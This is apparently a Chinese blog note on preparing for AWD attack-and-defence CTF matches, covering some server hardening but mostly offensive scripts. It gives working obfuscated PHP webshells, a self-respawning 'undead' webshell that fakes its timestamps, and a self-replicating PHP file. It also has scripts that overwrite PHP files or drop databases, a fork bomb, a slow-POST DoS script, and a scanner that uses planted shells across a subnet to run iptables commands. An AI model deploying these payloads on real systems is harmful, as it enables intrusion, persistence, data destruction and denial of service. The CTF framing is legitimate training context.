前言
AWD到时方恨不会,今一年两年没有打线下赛了,脚本也没有了,工具也没有。赶紧跟着大佬复习一波,做一下笔记。
建议:脚本一定要经过测试,要不然上场了一样是不熟悉,用不起来
关于AWD
AWD: Attack With Defence,一般比赛中每个队伍维护几台服务器,分别为web和pwn。web服务器中存在多个漏洞,利用漏洞攻击其他队伍可以进行得分,修复漏洞可以避免被其他队伍攻击失分。
- 战队有自己的初始分数;
- flag在主办方的设定下每隔一定时间,时间一般5-10分钟刷新一轮;
- 其他队伍提交你的flag,你的队伍扣分,他加分;
- 动态积分制,每一轮的分数会下降,直到最低(看主办方);
- 主办方会对每个队伍的网站或服务进行check,服务宕机扣除本轮flag分数;
- 战队不能攻击主办方
- 一般分配Web服务器,服务器(多数为Linux)某处存在flag(一般在根目录下);
- 分配的pwn服务器,服务器多为ubantu,需要本地提权后再用户提权。
- 域渗透:也可以叫内网渗透,Windows AD 域环境,更贴近实战
- 高地模式:每只队伍服务器可以访问,没有权限,需要自己去获取权限。同时存在高地服务器,不属于任何一支队伍,每只队伍竞争高地服务器权限。
Attack With Defence
回忆过去的经验,打AWD比赛有几点需要注意:
- 准备好一些自己熟悉常用的脚本,最起码是练习时可以使用的
- 漏洞搜索能力,主办方出题都估计是现有漏洞,有本事0day也可以属于你
- 快速反应能力与代码编写能力
修改ssh密码
passwd username
# 输入密码确认即可
修改数据库密码及备份数据库
1. 登录 mysql 终端,运行:
mysql> set password=password('new password');
mysql>flush privileges;
2. 修改 mysql user 表
mysql>use mysql;
mysql>update user set password=password('new password') where user='root';
mysql>flush privileges;
3. 使用 GRANT 语句
mysql>GRANT ALL PRIVILEGES ON *.* TO 'root'@'127.0.0.1' IDENTIFIED BY 'new password' WITH GRANT OPTION;
mysql>flush privileges;
4. mysqladmin
[root@ubuntu]# mysqladmin -u root password "new password";(注意双引号或不加)
数据库恢复,在mysql终端执行
# 命令格式:source FILE_PATH
source ~/db.sql(原数据库需存在)
源码备份
备份!备份!备份!
# 打包目录
tar -zcvf archive_name.tar.gz directory_to_compress
# 解包
tar -zxvf archive_name.tar.gz
查找后门
用D盾扫描备份的文件,查找预留后门,第一时间删除自己靶机上的后门,也可以利用批量脚本后门攻击其他靶机。
端口扫描
使用工具对目标网站进行扫描,目标服务器开放的端口,方便进行漏洞利用。
扫描工具:Namp,御剑等等。
以下是一些服务端口的漏洞:
22: ssh弱口令
873: 未授权访问漏洞
3306:mysql弱口令
6379:redis未授权访问漏洞
WebShell隐藏与利用
隐藏shell
文件命名形式:
.shell.php
-shell.php
特殊Shell形式
1、连接方式:php?2=assert密码是1。
<?php ($_=@$_GET[2]).@$_($_POST[1])?>
2、配置为?b=))99(rhC(tseuqeR+lave
<?php
$a=chr( 96^5);
$b=chr( 57^79);
$c=chr( 15^110);
$d=chr( 58^86);
$e= '($_REQUEST[C])';
@assert($a.$b.$c.$d.$e);
?>
3、配置填n985de9=QGV2YWwoJF9QT1NUWzBdKTs=
连接密码:0(零)
<?php
$sF= "PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}
?>
4、MD5木马
将pass中换成你熟悉的Md5,防止他人利用。
<?php
if(md5($_POST['pass'])=='d8d1a1efe0134e2530f503028a825253')
@eval($_POST['cmd']);
?>
5、MD5木马+利用header
<?php
echo 'hello';
if(md5($_POST['pass'])=='d8d1a1efe0134e2530f503028a825253')
if (@$_SERVER['HTTP_USER_AGENT'] == 'flag'){
$test= 'flag';
header("flag:$test");
}
?>
上传不死马
例子
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'shell.php';
$code = '<?php if(md5($_POST["passwd"])=="6daf17e539bf44591fad8c81b4a293d7"){@eval($_REQUEST["ZX"]);} ?>';
$passwordHash = "6daf17e539bf44591fad8c81b4a293d7";
while (true) {
file_put_contents($file, $code);
system("touch -m -d \"$(date -d '2018-12-01 09:10:12' +'%Y-%m-%d %H:%M:%S')\" $file");
usleep(5000);
}
?>
#passwd=y0range857
#POST传参:passwd=y0range857&a=system('ls');
将这个文件上传到服务器,然后进行访问,会在该路径下一直生成一个名字为shell2.php的shell文件,用蚁剑连接。
双写入shell
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.login.php';
$file1 = '/admin/.register.php';
$code = '<?php if(md5($_GET["passwd"])=="6daf17e539bf44591fad8c81b4a293d7"){@eval($_REQUEST["ZX"]);} ?>';
while (true) {
file_put_contents($file, $code);
system("touch -m -d \"$(date -d '2018-12-01 09:10:12' +'%Y-%m-%d %H:%M:%S')\" $file");
file_put_contents($file1, $code);
system("touch -m -d \"$(date -d '2018-12-01 09:10:12' +'%Y-%m-%d %H:%M:%S')\" $file1");
usleep(5000);
}
?>
浏览器访问at.php,生产不死马at2.php
url/upload/at.php
获取命令
url/upload/at2.php?passwd=obse007&at=system('ls');
alias起别名
将攻击命令用改成别的命令
alias curl="echo nothing"
删除
unalias -a
对方执行cat /flag命令的时候回显就是错误flag
alias cat="echo `date`|md5sum|cut -d ' ' -f1||"
获取 flag 一般是 curl http://xxx.com/flag.txt
alias curl='echo fuckoff' #权限要求较低,可以在这里改成虚假的flag
# 或者
chmod -x curl #权限要求较高
/usr/bin curl路径
扰乱比赛方式(慎用)
无限复制
<?php
set_time_limit(0);
ignore_user_abort(true);
while(1){
file_put_contents(randstr().'.php',file_get_content(__FILE__));
file_get_contents("http://127.0.0.1/");
}
?>
修改数据库密码
update mysql.user set authentication_string=PASSWORD('p4rr0t');# 修改所有用户密码
flush privileges;
UPDATE mysql.user SET User='aaaaaaaaaaaa' WHERE user='root';
flush privileges;
delete from mysql.user ;#删除所有用户
flush privileges;
重启 apache2 和 nigix
#!/usr/bin/env sh
while [[ 1 ]]
do
service apache2 stop
service nginx stop
done &
循环删除
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
function getfiles($path){
foreach(glob($path) as $afile){
if(is_dir($afile))
getfiles($afile.'/*.php');
else
@file_put_contents($afile,"#Anything#");
//unlink($afile);
}
}
while(1){
getfiles(__DIR__);
sleep(10);
}
?>
<?php
set_time_limit(0);
ignore_user_abort(1);
array_map('unlink', glob("some/dir/*.php"));
?>
删除数据库
#!/usr/bin/env python3
import base64
def rm_db(db_user, my_db_passwd):
cmd = f"/usr/bin/mysql -h localhost -u {db_user} -p{my_db_passwd} -e '"
db_name = ['performance_schema', 'mysql', 'flag']
for db in db_name:
cmd += f"drop database {db};"
cmd += "'"
return cmd
# 示例用法
db_user = 'your_username'
my_db_passwd = 'your_password'
command = rm_db(db_user, my_db_passwd)
print(command)
fork_bomb
#!/bin/sh
/bin/echo '.() { .|.& } && .' > /tmp/aaa;/bin/bash /tmp/aaa;
DOS脚本(非必要最好不要用)
import socket
import time
import threading
max_connections = 90000000
port = 80 # 端口
host = "192.168.92.154" # IP
page = "/index.php"
attack_payload = (
f"POST {page} HTTP/1.1\r\n"
f"Host: {host}\r\n"
"Content-Length: 1000000000\r\n"
"Cookie: 1998\r\n"
"\r\n"
)
socks = []
def connect():
global socks
for _ in range(max_connections):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((host, port))
s.send(attack_payload.encode("utf-8"))
socks.append(s)
except Exception as ex:
time.sleep(1)
def send():
global socks
while True:
for s in socks.copy():
try:
# 实际攻击请求的逻辑
s.send(attack_payload.encode("utf-8"))
print("攻击中....")
except Exception as ex:
socks.remove(s)
s.close()
time.sleep(0.1)
if __name__ == "__main__":
# 使用 threading.Thread 的参数 daemon=True 可以使得主线程退出时子线程也退出
One = threading.Thread(target=connect, args=(), daemon=True)
Two = threading.Thread(target=send, args=(), daemon=True)
One.start()
Two.start()
# 等待用户输入任意键终止程序
input("Press any key to stop the attack...\n")
在加固阶段,每个堡垒机都有一个Web在运行。而这些站点可能存在相应的漏洞和后门。基本上都会有shell留在隐秘的角落…
所以我们就可以通过前期搜寻到的后门,进行操作。这里直接用linux的防火墙进行关闭即可。
在正常情况下:这样的话就直接把系统的后门全杀掉了。只允许22 80 21端口可以进行访问。
首先开启 22 80 21
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -p tcp --dport 21 -j ACCEPT
然后关闭
iptables -A INPUT -j DROP
在手动一个个连shell搅shi的话,是非常慢的。于是写了个小脚本。
遍历整个IP段,并将防火墙开启全部屏蔽掉~~
import requests
base_url = "http://192.168.182"
port = '80'
shell = "/shell.php"
passwd = "a"
payloads = {
passwd: "system('iptables -A INPUT -j DROP');"
}
def scan_hosts():
for i in range(1, 254):
url = f"{base_url}.{i}:{port}{shell}"
print(url)
try:
res = requests.get(url, params=payloads, timeout=1)
print(res.text)
except requests.RequestException as e:
print(f"Error: {e}")
# 如果你只是想打印未找到主机的消息,可以注释掉上面的行并取消下面的注释
# print("未找到主机")
if __name__ == "__main__":
scan_hosts()